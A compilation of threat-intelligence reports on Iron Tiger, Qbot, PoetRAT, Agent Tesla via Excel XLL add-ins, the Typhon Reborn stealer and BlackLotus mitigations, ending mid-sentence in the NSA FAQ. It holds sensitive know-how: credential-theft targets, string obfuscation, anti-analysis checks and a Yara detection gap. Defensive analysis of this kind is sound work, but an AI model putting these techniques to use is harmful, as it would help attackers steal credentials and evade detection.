in 2021 with an update of SysUpdate. We also attempted to notify the company of this incident through all their listed channels but have received no feedback. As stated in the “Infection Vector” section, we noticed the Youdu chat application was probably used as a lure. It is worth mentioning that the customers mentioned in the Youdu official website are all located inside China, which could be an indicator of the threat actor’s interest in targets related to this country. ## Conclusion This investigation confirms that Iron Tiger regularly updates its tools to add new features and probably to ease their portability to other platforms, verifying the interest we found from this threat actor for Linux or Mac OS. It also corroborates this threat actor’s interest in the gambling industry and the South East Asia region, as we previously noted in 2020 and 2021. This campaign also substantiates the regular usage of chat applications as infection vectors from Iron Tiger. We expect to find further updates of these tools in the future to accommodate other platforms and apps. As an additional warning, we want to highlight that the targeting can be wider than the samples and targeting we have already observed. In 2022, we discussed a campaign targeting Taiwan and the Philippines that made use of HyperBro samples signed with a stolen Cheetah certificate. The BfV, a German governmental entity, published a report in January 2022 mentioning attacks against German companies with HyperBro samples that were also signed with the same certificate. In October 2022, Intrinsec reported an incident in a French company also using HyperBro samples matching the structure we described in our 2021 investigation. This shows the threat actor is likely to reuse the tools mentioned here in future campaigns that might target different regions or industries in the short and long term. Considering the active campaign and regular developments made on this malware family, organizations are advised to enhance and broaden their current and established security measures, and heighten overall vigilance for possible infection vectors that can be abused by this threat group.
# Qbot Malware Switches to New Windows Installer Infection Vector The Qbot botnet is now pushing malware payloads via phishing emails with password-protected ZIP archive attachments containing malicious MSI Windows Installer packages. This is the first time the Qbot operators are using this tactic, switching from their standard way of delivering the malware via phishing emails dropping Microsoft Office documents with malicious macros on targets' devices. Security researchers suspect this move might be a direct reaction to Microsoft announcing plans to kill malware delivery via VBA Office macros in February after disabling Excel 4.0 (XLM) macros by default in January. Microsoft has begun rolling out the VBA macro autoblock feature to Office for Windows users in early April 2022, starting with Version 2203 in the Current Channel (Preview) and to other release channels and older versions later. "Despite the varying email methods attackers are using to deliver Qakbot, these campaigns have in common their use of malicious macros in Office documents, specifically Excel 4.0 macros," Microsoft said in December. "It should be noted that while threats use Excel 4.0 macros as an attempt to evade detection, this feature is now disabled by default and thus requires users to enable it manually for such threats to execute properly." This is a significant security improvement towards protecting Office customers since using malicious VBA macros embedded in Office documents is a prevalent method to push a large assortment of malware strains in phishing attacks, including Qbot, Emotet, TrickBot, and Dridex. ## What is Qbot? Qbot (also known as Qakbot, Quakbot, and Pinkslipbot) is a modular Windows banking trojan with worm features used since at least 2007 to steal banking credentials, personal information, and financial data, as well as to drop backdoors on compromised computers and deploy Cobalt Strike beacons. This malware is also known for infecting other devices on a compromised network using network share exploits and highly aggressive brute-force attacks targeting Active Directory admin accounts. Although active for over a decade, the Qbot malware has been primarily used in highly targeted attacks against corporate entities since they provide a higher return on investment. Multiple ransomware gangs, including REvil, Egregor, ProLock, PwndLocker, and MegaCortex, have also used Qbot to breach corporate networks. Since Qbot infections can lead to dangerous infections and highly disruptive attacks, IT admins and security professionals need to become familiar with this malware, the tactics it's using to spread throughout a network, and those used by the botnet operators to deliver it to new targets. A Microsoft report from December 2021 captured the versatility of Qbot attacks, making it harder to evaluate the scope of its infections accurately.
# PoetRAT: Malware Targeting Public and Private Sector in Azerbaijan Evolves By Warren Mercer, Paul Rascagneres, and Vitor Ventura. The Azerbaijan public sector and other important organizations are still targeted by new versions of PoetRAT. This actor leverages malicious Microsoft Word documents alleged to be from the Azerbaijan government. The attacker has moved from Python to Lua script and improves their operational security (OpSec) by replacing protocols and performing reconnaissance on compromised systems. ## Executive Summary Cisco Talos discovered PoetRAT earlier this year. We have continued to monitor this actor and their behavior over the preceding months. We have observed multiple new campaigns indicating a change in the actor's capabilities and showing their maturity toward better operational security. We assess with medium confidence this actor continues to use spear-phishing attacks to lure a user to download a malicious document from temporary hosting providers. We currently believe the malware comes from malicious URLs included in the email, resulting in the user clicking and downloading a malicious document. These Word documents continue to contain malicious macros, which in turn download additional payloads once the attacker sets their sites on a particular victim. Previous versions of PoetRAT deployed a Python interpreter to execute the included source code, resulting in a much larger file size compared to the latest version's switch to Lua script. As the geopolitical tensions grow in Azerbaijan with neighboring countries, this is no doubt a stage of espionage with national security implications being deployed by a malicious actor with a specific interest in various Azerbaijani government departments. ## New Campaigns ### Campaign of September 2020 The malicious document alleged to be a letter with the National Emblem of Azerbaijan in the top corners. The document we observed used multiple filenames: the first being "argument.doc" and another named "siyahı.doc" (Azeri word for "List"). As previously with PoetRAT, the Word document contained a macro. The macro still contains literature references as on the previous version we documented. This time, the text is from the novel "The Brothers Karamazov" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules. The obfuscation is a base64 and an LZMA compression algorithm. Secondly, the author split the malware into a couple of different files. For example, the variables are stored in a "Constant.py" file containing the C2 server and the configuration. The malware also changed a small amount of its code. The most notable change is the protocol used to download and upload files. The first version of PoetRAT used FTP, while the new version supports HTTP protocol. These few changes allow the attacker to avoid tracking based on signature and stay under the radar by using a most common protocol for exfiltration — thus improving their OpSec. ### Campaign of October 2020 In this campaign, the decoy document is a Microsoft Office document alleged to be from the State Service for Mobilization and Conscription of Azerbaijan. Due to current events in Azerbaijan, the President of the Republic of Azerbaijan has signed a decree "about declaring partial mobilization in the Republic of Azerbaijan." More information can be found here. The Office document was saved six days after the announcement. The malware author changed the embedded payload. A macro is executed by the Office document. The macro inflates and creates a ZIP file on the targeted system and executes a Lua script in this archive. The archive contains the Lua payload and luajit, a Lua interpreter for Windows. This script downloads and executes an additional payload. We did not receive the payload. However, the operator sent us a text file named 'FUCK-YOU.txt' with hundreds of lines of expletives. ### Same Victimology As with the previous campaigns, the targets of the new campaigns are linked to Azerbaijan. In the previous campaigns, the attacker was mainly interested in the energy sector, specifically those involved with wind turbines. The attacker is still attracted to VIPs and the public sector. In the recent campaign, we identified the attacker had access to sensitive information, such as diplomatic passports belonging to citizens of Azerbaijan. ## Conclusion With recent geopolitical events in Azerbaijan, it is fair to expect some cyber attacks. The PoetRAT malware was used against this country a few months ago, and new campaigns from this threat actor appeared after the armed conflict. The malware slightly evolved since our previous publication. The developer implemented a new exfiltration protocol to hide its activities. There's also additional obfuscation to avoid detection based on strings or signatures. The latest evolution of PoetRAT shows us an evolution from Python to Lua. The code is easy to parse — nothing advanced — but our analysis showed us that the campaigns are efficient. The attacker obtained access to sensitive documents from the compromised systems, even if the technical aspects are not as evolved as expected in this kind of context and targeted attacks. ## Coverage Ways our customers can detect and block this threat are listed below. - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically. - Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX can detect malicious activity associated with this threat. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## IOCs ### Malicious Documents This includes newly observed hashes and also previously observed PoetRAT hashes. - dc565146cd4ecfb45873e44aa1ea1bac8cfa8fb086140154b429ba7274cda9a2 - Oct 2020 - 64aeffe15aece5ae22e99d9fd55657788e71c1c52ceb08e3b16b8475b8655059 - Sept 2020 - ac4e621cc5895f63a226f8ef183fe69e1ae631e12a5dbef97dd16a6dfafd1bfc - April 2020 - a703dc8819dca1bc5774de3b6151c355606e7fe93c760b56bc09bcb6f928ba2d - April 2020 - 208ec23c233580dbfc53aad5655845f7152ada56dd6a5c780d54e84a9d227407 - April 2020 - e4e99dc07fae55f2fa8884c586f8006774fe0f16232bd4e13660a8610b1850a2 - April 2020 ### C2 Infrastructure - slimip[.]accesscam[.]org
# Weaponization of Excel Add-Ins Part 1: Malicious XLL Files and Agent Tesla Case Studies **By Yaron Samuel** **January 25, 2022** **Category:** Malware **Tags:** AgentTesla, Cortex, Dridex, Macros, Microsoft Excel, next-generation firewall, WildFire ## Executive Summary Between July 27 and Dec. 1, 2021, Unit 42 researchers observed a new surge of Agent Tesla and Dridex malware samples, which have been dropped by Excel add-ins (XLL) and Office 4.0 macros. We found that the Excel 4.0 macro dropper is mainly used to drop Dridex, while the XLL droppers are used to drop both Agent Tesla and Dridex. While malicious XLL files have been known for quite some time, their reappearance in the threat landscape is a new trend and possibly indicates a shift toward this infection vector. The XLL files we observed were mainly distributed via emails that contain price quote luring contents sent from an abcovid[.]tech email address with the email subject “INQUIRY.” Targets of these emails include organizations in the following sectors: manufacturing; retail; federal, state and local government; finance; pharmaceuticals; transportation; education; and several others across the United States, Europe and Southeast Asia. Furthermore, some of the malicious XLL files we have seen abuse a legitimate open-source Excel add-in framework named Excel-DNA. This blog is the first of a two-part series. Here, we take a look into the XLL file attributes, the abused legitimate open-source framework and the final Agent Tesla payload. The second part of the series will deal with the other infection flows, the XLL and Excel 4 (XLM) droppers that deliver Dridex samples. Palo Alto Networks customers receive protections against the attacks discussed here through Cortex XDR or the WildFire cloud-delivered security subscription for the Next-Generation Firewall. ## Chains of Infection The flow chart shows the two possible chains of events we have observed during our investigation: 1. A victim receives an email with a malicious attachment. 2. The attachment is either a malicious XLL or XLM file. 3. In the case of an XLL, when run it will either: - Drop an intermediate dropper that in turn will drop an Agent Tesla payload. - Download Agent Tesla payload from Discord. - Download Dridex payload from Discord. 4. In the case of an XLM, when run it will drop a VBS downloader that downloads and executes a Dridex sample from Discord. While Agent Tesla and Dridex infection chains are not necessarily distributed by the same actor, they seem to be part of a new trend of infection vectors. ## What Is XLL Again? XLL is an extension for Excel add-ins. In reality, XLL is just a regular PE-DLL file. The XLL file extension is associated with an icon very similar to other Excel-supported extensions. In turn, the average user won’t notice any difference between XLL and other Excel file formats and can be lured to open it. This may be surprising, but Excel will gladly load and execute an XLL file upon double-clicking. Once the XLL is loaded by Excel, it will invoke the export functions of the XLL file based on the defined XLL interface. Two of these interface functions stand out: `xlAutoOpen` and `xlAutoClose`. These functions get called once the add-in gets activated or deactivated, respectively. These functions can be used to load malicious code, similar to the methods `Auto_Open` and `Auto_Close` in classic VBA macros. One disadvantage of XLL files is that they can only be loaded by Excel with the correct bitness. For example, a 64-bit XLL can only be loaded by the 64-bit version of Excel. The same goes for 32-bit versions. Therefore, malware authors have to rely on the Excel version that is installed on the victim’s machine. Like with VBA macros, Excel will warn the user about the security concern arising from executing the add-in. In that aspect, it has no advantage for malware compared to VBA macros. For the reasons described, XLL files can be a good choice for adversaries seeking to gain an initial foothold on a victim machine. An attacker can get code packaged into a DLL loaded by Excel, which in turn may mislead security products that are not prepared to deal with this scenario. ## Malicious Excel Add-In (XLL) Dropper We have observed malicious emails with the following XLL samples attached: - SHA256: 7a6f8590d4be989faccb34cd393e713fd80fa17e92d7613f33061d647d0e6d12 - SHA256: fbc94ba5952a58e9dfa6b74fc59c21d830ed4e021d47559040926b8b96a937d0 ### Excel-DNA The XLL sample we encountered utilizes a legitimate open-source framework for Excel add-in development called Excel-DNA. The framework has several features that also suit malware authors. One is the ability to load a compressed .NET assembly packaged in the PE resources directly to memory without “touching” the disk. Therefore, despite being a legitimate framework, Excel-DNA has functionality that resembles malicious loaders and can be abused as a loader. Excel-DNA has another attribute that may hinder coverage with Yara, likely unknown even to the malware authors. For some reason, many Excel-DNA samples have slightly more than 10,000 exported functions, most of them without any meaningful functionality. The Yara PE module export function parsing limit is only 8,192. Therefore, a Yara rule that targets a certain export name located at an index higher than 8192 will not match against the sample. When we look at the resources of our Excel-DNA XLL, we can see an XML resource named `__MAIN__`. This resource contains information about which module gets loaded by Excel-DNA. In our case, the specified module will be decompressed from a resource named JACK. The resource will be decompressed using the LZMA algorithm and subsequently loaded to memory. ### JACK Resource The loaded module is a simple dropper. Upon loading the module, the `AutoOpen` method will be invoked. The malicious code in this method drops the final payload executable into `%AppData%\service.exe` and executes it. It’s worth noting that the module contained in Jack is configurable, meaning in other versions it may download a payload instead of dropping it, as well as dropping a real Excel template and executing it. The configuration contains the following options: - `bDown` - Download the payload. - `templateEnabled` - Drop and open an Excel template. - `payload` - Contains the payload to be dropped. ## Final Payload – Agent Tesla - SHA256: AB5444F001B8F9E06EBF12BC8FDC200EE5F4185EE52666D69F7D996317EA38F3 The final payload is an obfuscated Agent Tesla sample. In terms of features, Agent Tesla is extensively documented. Our sample exfiltrates the stolen data to the email phantom1248@yandex[.]com using the SMTP protocol. ### String Decryption The Agent Tesla sample stores all of its strings in an encrypted form within a large array of characters. Upon initialization, the sample XORs each byte of the “large byte array” with the hard coded byte 170 and the index (trimmed to byte size) of the character in the “large byte array.” Next, the sample fills an array that stores all the strings, by splicing the decrypted array in known offsets and corresponding lengths. Examining the decrypted string array reveals the various targets that Agent Tesla aims to steal: - Sensitive browser information and cookies. - Mail, FTP and VPN client information. - Credentials from Windows Vault. - Recorded keystrokes and screenshots. - Clipboard information. ### Windows Vault To steal information from the Windows Vault, it appears that the Agent Tesla authors converted a PowerSploit script into C# to build a .NET assembly. It uses P/Invoke to call API functions from the vaultcli.dll library. At first, `VaultEnumerateItems` will be called to get all available vaults. Next, each vault will be opened using `VaultOpenVault`. Once a vault is open, the contained items will be enumerated using `VaultEnumerateItems`. Finally, the attributes of the items are read using `VaultGetItem`. Agent Tesla records the queries as items in its own list. Below is the list of Windows Vault GUIDs (and corresponding descriptions) that Agent Tesla uses to steal information: | GUID | Description | | --- | --- | | 2F1A6504-0641-44CF-8BB5-3612D865F2E5 | Windows Secure Note | | 3CCD5499-87A8-4B10-A215-608888DD3B55 | Windows Web Password Credential | | 154E23D0-C644-4E6F-8CE6-5069272F999F | Windows Credential Picker Protector | | 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 | Web Credentials | | 77BC582B-F0A6-4E15-4E80-61736B6F3B29 | Windows Credentials | | E69D7838-91B5-4FC9-89D5-230D4D4CC2BC | Windows Domain Certificate Credential | | 3E0E35BE-1B77-43E7-B873-AED901B6275B | Windows Domain Password Credential | | 3C886FF3-2669-4AA2-A8FB-3F6759A77548 | Windows Extended Credential | ## Conclusion For the recent surge of malware we observed, we analyzed the infection chain that uses Excel add-ins (XLL). We also described how the malware author abuses the legitimate Excel-DNA framework for the creation of these malicious XLLs. Lastly, we briefly described the final Agent Tesla payload and which information it tries to exfiltrate from a victim’s system, with a focus on the Windows Vault data. The usage of Excel add-ins in recent attacks may indicate a new trend in the threat landscape. In the next part of this series, we will describe the other infection chain, which involves using Excel 4.0 macros to deliver Dridex. ## Indicators of Compromise | Sample hash (SHA256) | Description | | --- | --- | | 7a6f8590d4be989faccb34cd393e713fd80fa17e92d7613f33061d647d0e6d12 | XLL dropper | | fbc94ba5952a58e9dfa6b74fc59c21d830ed4e021d47559040926b8b96a937d0 | XLL dropper | | bfc32aab4f7ec31e03a723e0efd839afc2f861cc615a889561b38430c396dcfe | Intermediate dropper (Jack) | | AB5444F001B8F9E06EBF12BC8FDC200EE5F4185EE52666D69F7D996317EA38F3 | Final Agent Tesla payload |
# Typhon Reborn V2: Updated Stealer Features Enhanced Anti-Analysis and Evasion Capabilities **By Edmund Brumaghin** **April 4, 2023** The developer of the Typhon Reborn information stealer released version 2 (V2) in January, which included significant updates to its codebase and improved capabilities. Most notably, the new version features additional anti-analysis and anti-virtual machine (VM) capabilities to evade detection and make analysis more difficult. We assess Typhon Reborn 2 will likely appear in future attacks, as we have already observed samples in the wild and multiple purchases of the malware. The stealer is currently offered on underground forums for $59 per month but also offers a lifetime subscription for $540, which is inexpensive compared to competing infostealers. The stealer can harvest and exfiltrate sensitive information and uses the Telegram API to send stolen data to attackers. ## Typhon Reborn V2 Release Typhon is an information stealer first publicly reported in mid-2022. It steals sensitive information, such as cryptocurrency wallet data, from a variety of applications and uses a “file grabber” to collect a predefined list of file types, then exfiltrates them via Telegram. Since its initial arrival, it has undergone continuous development, with Typhon Reborn being released just several months later in late 2022. The malware’s developer announced the release of Typhon Reborn V2 on Jan. 31, 2023, on the popular Russian language dark web forum XSS. Samples uploaded to public repositories indicate that the new version of Typhon Reborn has been in the wild since December 2022. In the latest version, the malware developer claimed to have refactored the codebase and significantly improved existing capabilities present within the malware, which Cisco Talos independently confirmed. It is available for $59 per month or a lifetime subscription for $540, which is inexpensive compared to competing infostealers. Analysis of the cryptocurrency wallet from which the attacker collects payments suggests that multiple adversaries have purchased access to the stealer, making it likely that it will be used in attacks moving forward. ## Notable Changes in Typhon Reborn V2 The code in Version 2 of Typhon Reborn was heavily modified compared to Version 1, based on our analysis. For example, Version 2 has significantly more anti-analysis and anti-virtualization capabilities, as evidenced by comparing the anti-analysis routines present in each version. The developer made several changes to the logic that prevents the malware from infecting systems that match predefined criteria. That includes heavily expanding this list of criteria to include present usernames, CPUIDs, applications and processes present on the system, debugger/emulation checks, and geolocation data for countries that attackers may wish to avoid. Finally, in Typhon Reborn V2 samples that we analyzed, the developer appeared to have removed the functionality that establishes persistence across reboots. Instead, V2 simply terminates itself after data exfiltration. ## Dissecting Typhon Reborn V2 In Typhon Reborn V2, the malware complicates analysis via string obfuscation by using Base64 encoding and applying the XOR function to various strings. During execution, the malware decodes the Base64, generating a UTF-8 character-encoded string that is then deobfuscated using an XOR key stored in the malware’s configuration or hard-coded into DecryptString(). The XOR key used is based on the mode passed when the function is called each time. The resulting string is then decoded from Base64 again, creating a plain text string to continue the operation. The malware’s operations are determined by a series of parameters stored in the malware’s configuration that dictate what information should be collected, keys used for string deobfuscation, and geolocations where the malware should not execute. ## Anti-Analysis and Sandbox Evasion When Typhon Reborn V2’s main() method is executed, it checks the malware configuration to determine if anti-analysis has been enabled. If it is enabled, the malware will attempt to conduct a series of anti-analysis checks to determine if it is being executed in an analysis or sandbox environment. If any of the checks fail, the malware will call a SelfRemove() class, creating a batch file in the temp directory to terminate its execution. The overall execution flow of the various anti-analysis checks includes using Windows Management Instrumentation (WMI) to retrieve information about the Graphics Processing Unit (GPU) on the system. It checks for the presence of specific DLLs associated with common security products and retrieves the system manufacturer and model via WMI. The malware also checks the Windows Registry to determine if any subkeys reference common analysis tools. The malware determines the user account context under which it is executing and will terminate if the username matches a predefined list. It also checks the list of currently running processes against common analysis tools and tests internet connectivity. The malware features geolocation avoidance mechanisms, allowing for the specification of a list of countries in the malware’s config that the attacker does not want to infect systems in. ## System and Network Data Collection If the victim’s environment passes all the malware’s anti-analysis checks, Typhon Reborn V2 begins collecting and exfiltrating sensitive information. The malware creates a randomly named subdirectory under %LOCALAPPDATA% and generates stealer logs that will ultimately be staged in that subdirectory for exfiltration. It collects a variety of system information including user data, system data, and network information, using various mechanisms such as WMI queries, environment variables, and registry keys. The malware captures screenshots from infected systems and collects saved Wi-Fi network information. ## Application Data Collection Once basic system information has been collected and saved, the stealer begins iterating through specific applications and collecting data based on the malware’s configuration. The stealer currently supports collecting passwords, tokens, and other sensitive information from various applications. ## Data Exfiltration Once the stealer has finished collecting information from infected systems, the data is stored in a compressed archive and exfiltrated via HTTPS using the Telegram API. The malware sends an overview log containing survey information and basic statistics related to the data collected, followed by another Telegram message containing the data being exfiltrated from the infected system. Once the data has been successfully transmitted to the attacker, the archive is deleted from the infected system, and the malware terminates execution. ## Coverage Ways our customers can detect and block this threat include Cisco Secure Endpoint, Cisco Secure Web Appliance, Cisco Secure Email, Cisco Secure Firewall, and Cisco Secure Malware Analytics. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Indicators of Compromise (IOCs) for this research can also be found at our Github repository.
# BlackLotus Mitigation Guide ## Executive Summary BlackLotus is a recently publicized malware product garnering significant attention within tech media. Similar to 2020’s BootHole (CVE-2020-10713), BlackLotus takes advantage of a boot loader flaw—specifically CVE-2022-21894 Secure Boot bypass known as “Baton Drop”—to take control of an endpoint from the earliest phase of software boot. Microsoft® issued patches for supported versions of Windows to correct boot loader logic. However, patches were not issued to revoke trust in unpatched boot loaders via the Secure Boot Deny List Database (DBX). Administrators should not consider the threat fully remediated as boot loaders vulnerable to Baton Drop are still trusted by Secure Boot. As described in this Cybersecurity Information Sheet (CSI), NSA recommends infrastructure owners take action by hardening user executable policies and monitoring the integrity of the boot partition. An optional advanced mitigation is to customize Secure Boot policy by adding DBX records to Windows® endpoints or removing the Windows Production CA certificate from Linux® endpoints. ## BlackLotus Boot Security Threat NSA recognizes significant confusion regarding the threat posed by BlackLotus. Some organizations use terms like “unstoppable,” “unkillable,” and “unpatchable” to describe the threat. Other organizations believe there is no threat due to patches that Microsoft released in January 2022 and early 2023 for supported versions of Windows. The risk exists somewhere between both extremes. BlackLotus shares some characteristics with Boot Hole (CVE-2020-10713). Instead of breaking the Linux boot security chain, BlackLotus targets Windows boot by exploiting a flaw in older boot loaders—also called boot managers—to set off a chain of malicious actions that compromise endpoint security. Exploitation of Baton Drop (CVE-2022-21894) allows BlackLotus to strip the Secure Boot policy and prevent its enforcement. Unlike Boot Hole, the vulnerable boot loaders have not been added to the Secure Boot DBX revocation list. Because the vulnerable boot loaders are not listed within the DBX, attackers can substitute fully patched boot loaders with vulnerable versions to execute BlackLotus. NSA recommends system administrators within DoD and other networks take action. BlackLotus is not a firmware threat, but instead targets the earliest software stage of boot. Defensive software solutions can be configured to detect and prevent the installation of the BlackLotus payload or the reboot event that starts its execution and implantation. NSA believes that currently published patches could provide a false sense of security for some infrastructures. Because BlackLotus integrates Shim and GRUB into its implantation routine, Linux administrators should also be vigilant for variants affecting popular Linux distributions. ## Mitigation Recommendations ### Action 1: Update Recovery Media and Activate Optional Mitigations Recommended for all Windows infrastructures. Not applicable to Linux infrastructures. NSA recommends Windows administrators install the latest security patches for their endpoints. Microsoft patches from May 2023 contain optional software mitigations to prevent rollback of the boot manager and kernel to versions vulnerable to Baton Drop and BlackLotus. The optional mitigations – including a Code Integrity Boot Policy – should be enabled after the organization has updated its Windows installation, recovery, and diagnostic software to the latest available versions. Infrastructure administrators should note that Windows 10 and 11 have applicable security updates and ongoing mitigation deployments for BlackLotus. Older, unsupported Windows versions will not receive the full complement of BlackLotus mitigation measures. Windows infrastructures should migrate to supported versions of Windows if running an unsupported release. ### Action 2: Harden Defensive Policies Recommended for all infrastructures. The malware install process for BlackLotus places an older Windows boot loader Extensible Firmware Interface (EFI) binary into the boot partition, disables Memory Integrity, disables BitLocker, and reboots the device. Many endpoint security products (e.g., Endpoint Detection and Response, host-based security suites, user-monitoring packages) can be configured to block one or more of these events outside of a legitimate, scheduled update. Configure defensive software to scrutinize changes to the EFI boot partition in particular. Alternatively, leverage application allow lists to permit only known and trusted executables. ### Action 3: Monitor Device Integrity Measurements and Boot Configuration Recommended for most infrastructures. Many endpoint security products and firmware monitoring tools provide integrity-scanning features. Configure these products and tools to monitor the composition of the EFI boot partition. Leverage these tools to look for unexpected changes in bootmgfw.efi, bootmgr.efi, or the introduction of additional unexpected EFI binaries (e.g., shimx64.efi or grubx64.efi). Changes to the boot partition are infrequent and warrant additional scrutiny. If unexpected changes are detected within the EFI boot partition, prevent the device from rebooting. Endpoint and host defensive suites may allow creating rules or triggers that can be paired with group policies to temporarily restrict reboot. Remediate the boot partition to a known good state before permitting reboot. A reboot will execute EFI binaries and can implant BlackLotus. Microsoft has published specific information regarding the staging of BlackLotus components, alterations to Windows registry values, and network indicators. Full specifics can be found at the Microsoft Incident Response blog. ### Action 4: Customize UEFI Secure Boot #### 4.A. Instructions for Windows Infrastructures Expertly administered and exposed infrastructures only. Not recommended due to limited long-term effectiveness. BlackLotus relies upon older (pre-January 2022), signed Windows boot loader images to implant a system. Secure Boot can be updated with DBX deny list hashes that prevent executing older and vulnerable boot loaders. Public reporting provides indications as to which boot managers are observed exploited in the wild. In 2020, NSA published "UEFI Secure Boot Customization" to provide guidance on modifying Secure Boot. Adding DBX hashes qualifies as a partial customization action covered in section 4 "Customization," starting on page 7, and continuing through section 4.4.3 “Update the DB or DBX.” Additionally, a GitHub repository has been set up with some helpful scripts and guides to accomplish customization. **Note:** Adding boot loader hashes to the DBX may render many Windows install and recovery images, discs, and removable media drives unbootable. Microsoft provides updated install and recovery images for Windows 11 and 10. Only update the DBX after acquiring install and recovery media with the January 2022 or later patch assortment applied (e.g., version 22H1 or newer). **Warning:** The following DBX hashes may be combined with the Secure Boot Customization steps to revoke trust in select boot loaders vulnerable to Baton Drop. However, more vulnerable boot loaders exist than the DBX can contain. BlackLotus developers can rapidly switch to alternate vulnerable boot loaders to evade DBX customization. Mitigating BlackLotus via DBX updates is not recommended. Action 1’s patches and optional mitigations are recommended instead. ### DBX Hashes 1. B22A7B3CEBB32C80C36EAABB6F77D164AE8B76BF161F423B6E2FBF9DCBC96C02 2. D355041DFBA41F8AE2CE6766ECBC88C93A743FC74F95E7E7AA3EF32CA6E4B390 3. D9F629F6D1D83AC7A15DCB1116E4B9BF128758EC2EA389AA1E0DA3B8F2951150 4. 53FCE58746C4B042B101B8682B4E52CE8B620D3C68F69034996E33D3DDDCA1FF 5. F7357DD5000E1FBADBF17CC6025243A243D1BFA705801051119277A30D717B71 6. 39C6475B3F00D92EEC049D8F6EFA010CB06F1240ED1CE7E40611278C73817471 7. 2E094D21DC457CC4826FCD48395B92DC782F978EEF8210E4B6F5E708527907FF 8. BFE0E68889A750E699788C11F08AFAE940770ED83C1B4A5DB27E10933B29CAD1 #### 4.B. Instructions for Linux Infrastructures Expertly administered and exposed infrastructures only. Linux system administrators may forego adding DBX hashes in favor of removing the Microsoft Windows Production CA 2011 certificate from Secure Boot’s DB. The total number of Baton Drop-vulnerable boot loaders signed by the key associated with the Production CA’s certificate is thought to exceed the available DBX memory. Removing the certificate negates the need to add DBX entries related to Baton Drop and BlackLotus. Linux administrators will still need the Microsoft Unified Extensible Firmware Interface (UEFI) Third Party Marketplace CA 2011 certificate to utilize Secure Boot with leading Linux distributions. Do not place the Windows Production CA 2011 certificate in the Machine Owner Key Exclusion (MOKX) list in lieu of removing it from the DB. Utilizing MOKX in this way will cause the revoked certificate to still be trusted between firmware initialization and the initialization of Shim’s Secure Boot extensions. The Windows Production CA 2011 certificate must be restored if converting the device from Linux to Windows. Microsoft provides the certificate for download via their resources for system manufacturers. ## Frequently Asked Questions 1. **Is BlackLotus a firmware implant?** No. BlackLotus is boot software. The UEFI boot process involves several phases. Execution control flow transitions from firmware to software following the Boot Device Select phase. 2. **Can BlackLotus be removed or quarantined?** Yes, prior to execution. Devices that boot to a BlackLotus EFI binary will need to be completely reimaged. Attempts to remove BlackLotus following installation result in kernel errors. 3. **Does BlackLotus bypass Secure Boot?** An initial bypass is followed by poisoning that configures Secure Boot to trust the malware. An older, vulnerable boot loader that is trusted by Secure Boot is necessary to strip the Secure Boot policy from being enforced so that BlackLotus can implant its entire software stack. Subsequent boots extend the Microsoft UEFI signing ecosystem with a malicious BlackLotus certificate. Thus, Secure Boot will trust the malware. 4. **Which version of Windows is affected?** BlackLotus targets Windows 11 and 10. Variants may exist to target older, UEFI-booting versions of Windows. Patches are available for Windows 8.1, 10, and 11. 5. **Is Linux affected? Is there a version of BlackLotus that targets Linux?** No, not that has been identified at this time. BlackLotus does incorporate some Linux boot binaries, but the malware targets Windows OS software. No Linux-targeting variant has been observed. 6. **Is BlackLotus really unstoppable?** No – BlackLotus is very stoppable on fully updated Windows endpoints, Secure Boot-customized devices, or Linux endpoints. Microsoft has released patches and continues to harden mitigations against BlackLotus and Baton Drop. The Linux community may remove the Microsoft Windows Production CA 2011 certificate on devices that exclusively boot Linux. Mitigation options available today will be reinforced by changes to vendor Secure Boot certificates in the future (some certificates are expiring starting in 2026). 7. **Where can I find more public information?** NSA is aware of several technically deep analysis reports posted online from security researchers and vendors. One thorough source of public information is ESET Security’s blog referenced in this report. Another source of information is the Microsoft Security Response Center. 8. **Should I reconfigure Secure Boot?** No. Secure Boot is best left enabled in standard mode. Only advanced infrastructures and expert administrators should engage the custom/user-defined mode. Some security software may require additional certificates or hashes to be added to the DB allow list or DBX deny list. No one should disable Secure Boot on an endpoint built within the past 5 years. 9. **Can a Trusted Platform Module (TPM) stop BlackLotus?** No. A TPM can only detect BlackLotus. Implant boot binaries are delivered to the EFI boot partition after the TPM has recorded boot time measurements. Upon the next reboot, the TPM captures measurements showing a BlackLotus infection. However, a TPM can only detect – not prevent – implantation as the TPM is an observer and container of integrity indicator data. A TPM does not have an active enforcement capability. 10. **Can TPM-extended Shim / TrustedShim (T-Shim) stop BlackLotus?** No. T-Shim checks TPM measurements recorded prior to the main boot loader. Secure Boot is responsible for enforcement following T-Shim. 11. **What is Secure Boot customization?** Customization involves one of the following: - Partial customization – augmenting the Microsoft and system vendor Secure Boot ecosystem with additional DB and DBX entries as necessary to enable signature and hash checks on unsupported/custom software or block unwanted software. - Full customization – replacing all vendor and Microsoft certificates and hashes with those generated and selected by the infrastructure owner (requires specialized knowledge of hardware values). 12. **How does BlackLotus compare to Boot Hole?** Boot Hole involved flaws in Secure Boot-signed GRUB boot loaders. A configuration file could be created to cause buffer overflows and arbitrary code execution at boot time. Secure Boot could be ignored and completely bypassed. BlackLotus is sophisticated malware observed in the wild. It exploits a flaw (known as Baton Drop) in Secure Boot-signed copies of the Windows Boot Manager to truncate the Secure Boot policy values. Instead of stopping due to the lack DB and DBX values, the vulnerable boot manager allows boot to continue. BlackLotus injects a version of Shim utilizing its own Machine Owner Key (MOK) – similar to the allow list DB – to vouch for signatures on its own malicious binaries. The result is Secure Boot remains enforcing while silently poisoned and permitting malware to execute. 13. **Why doesn’t NSA recommend setting up a custom Secure Boot ecosystem as a mitigation?** NSA has internally piloted efforts to exclusively rely on custom certificates and 